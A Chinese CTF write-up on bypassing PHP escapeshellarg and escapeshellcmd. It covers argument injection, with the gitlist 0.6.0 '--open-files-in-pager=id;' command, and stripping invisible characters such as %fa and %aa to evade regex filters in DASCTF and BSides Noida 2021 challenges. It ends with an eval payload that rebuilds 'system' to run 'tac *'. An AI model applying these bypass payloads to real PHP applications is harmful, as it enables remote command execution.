浅谈 escapeshellarg 的利用
0 前言
escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数。(escapeshellarg 和 escapeshellcmd 相似,主要看是否有引号)
在 CTF 可能被用于:
- 参数注入(开发人员错误的使用
escapeshellarg 函数) - 逃逸字符(该函数非二进制安全)
1 参数注入
基本用法:
<?php
echo escapeshellarg('Hello');
echo escapeshellarg('Hello\'');
即前言所说,会把字符串转码为 shell 中的参数。
这里摘录p牛的文章《谈escapeshellarg绕过与参数注入漏洞》中的几句关键的话
- 这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。
- 单引号并不是区分一个字符串是“参数值”或“选项”的标准。
我们需要先理解一下“参数值”和“参数选项”。下面:
21:42:46 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat -name
cat: invalid option -- 'a'
Try 'cat --help' for more information.
21:44:00 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat --name
cat: unrecognized option '--name'
Try 'cat --help' for more information.
21:44:07 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat name
cat: name: No such file or directory
-----------------------------------------------------------------
21:44:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat -abc
cat: invalid option -- 'a'
Try 'cat --help' for more information.
21:47:04 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat --abc
cat: unrecognized option '--abc'
Try 'cat --help' for more information.
21:47:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat abc
cat: abc: No such file or directory
Linux 中通常使用 - 或者 -- 来作为选项(Option)的标识符,而没有 abc 则回被作为参数值。当然也可以取消这种差异,在参数前使用 -- ,如下所示:
21:47:10 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat abc
cat: abc: No such file or directory
21:47:23 ubuntu @ VM-0-12-ubuntu in ~/document on git:(master) ?
? cat -- --abc
cat: --abc: No such file or directory
在了解“参数”和“选项”后,我们可知在命令后使用 escapeshellarg 并不能阻止命令执行(参数和选项并不依靠单引号)。如 gitlist 0.6.0远程命令执行漏洞,下面是该项目在执行过程中生成的命令:
git grep -i --line-number -e '--open-files-in-pager=id;' master
escapeshellarg 可以逃逸并达到执行命令的关键:
- 函数参数可控
- 执行的命令中有执行命令的选项(类似 “–open-files-in-pager=id;” 的等号形式)
感觉利用条件还是非常苛刻的。
2 逃逸字符
2.1 cat flag
在 2021 DASCTF 的 《cat flag》题目中,有考察到这个知识点。题目源码:
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>
通过 hint 可知,flag 在this_is_final_flag_e2a457126032b42d.php 文件中(访问 /var/log/nginx/access.log 可知,感觉这里脑洞挺大的,没啥意思,重点在后面)。
文件名 this_is_final_flag_e2a457126032b42d.php 中含有 flag 关键字,这里怎么来读取呢?我想不出来了,看 ha1c9on 师傅的题解《DASCTF 2021.07》,但感觉他的解释有点牵强,不知道他是怎么想到的……,ha1c9on 师傅说是做题做多了,直觉,膜。
先读nginx日志 /var/log/nginx/access.log
/this_is_final_flag_e2a457126032b42d.php
然后unicode绕一下flag正则/?cmd=this_is_final_fl%faag_e2a457126032b42d.php
(这里的 %fa 不是 unicode,是不可见字符。是Windows-1252 字符集中的编码,传送门)
我看了下 PHP 的源码(不是很看得懂),但 PHP 源码中指明了“该函数非二进制安全”,该函数在处理字符串时,重新申请了内存空间,并对字符逐个处理,应该是没有对不可见字符进行处理,从而导致了不可见字符消失。
2.2 freepoint
在昨天的 2021 年 BSides Noida CTF 比赛中,我无意间也想到了利用这种方法来绕过正则的检测。在这里简化一下题目。
<?php
$payload = '';
$code = urldecode($payload);
function filter($str)
{
if (preg_match("/system|exec|passthru|shell_exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.^_`]|\'[a-z]|\"[a-z0-9]/i", $str)) {
return false;
} else {
return true;
}
}
if (filter($code) == 1) {
eval($code . ";");
} else {
die("18cm30p !! :< ");
}
在题目中过滤了很多命令执行的函数。还有两段比较关键的正则\'[a-z] 和\"[a-z0-9] ,也就是字母无法和引号接触。
通常这种正则的绕过,都是采用编码转义的方式来绕过的。
- 不可见字符又可以让
preg _match 函数中的正则检测失效 escapeshellcmd 又可以将不可见字符消除- 最终 eval 能执行正常的字符串。
这里可以写一个小 demo 来进行测试:
<?php
echo escapeshellcmd(urldecode('%aasy%aastem%aa'));
?>
最后得到 Payload 为:
eval(sprintf('%s%s%s%s%s', escapeshellcmd(urldecode('%aasys%aatem%aa')), '(\'',escapeshellcmd(urldecode('%aatac')), ' *' ,'\');'))
3 总结
escapeshellarg 利用的关键点:
- 参数注入:当开发人员错误的使用,可能导致代码执行。
- 代码执行:去掉字符串中的不可见字符。
|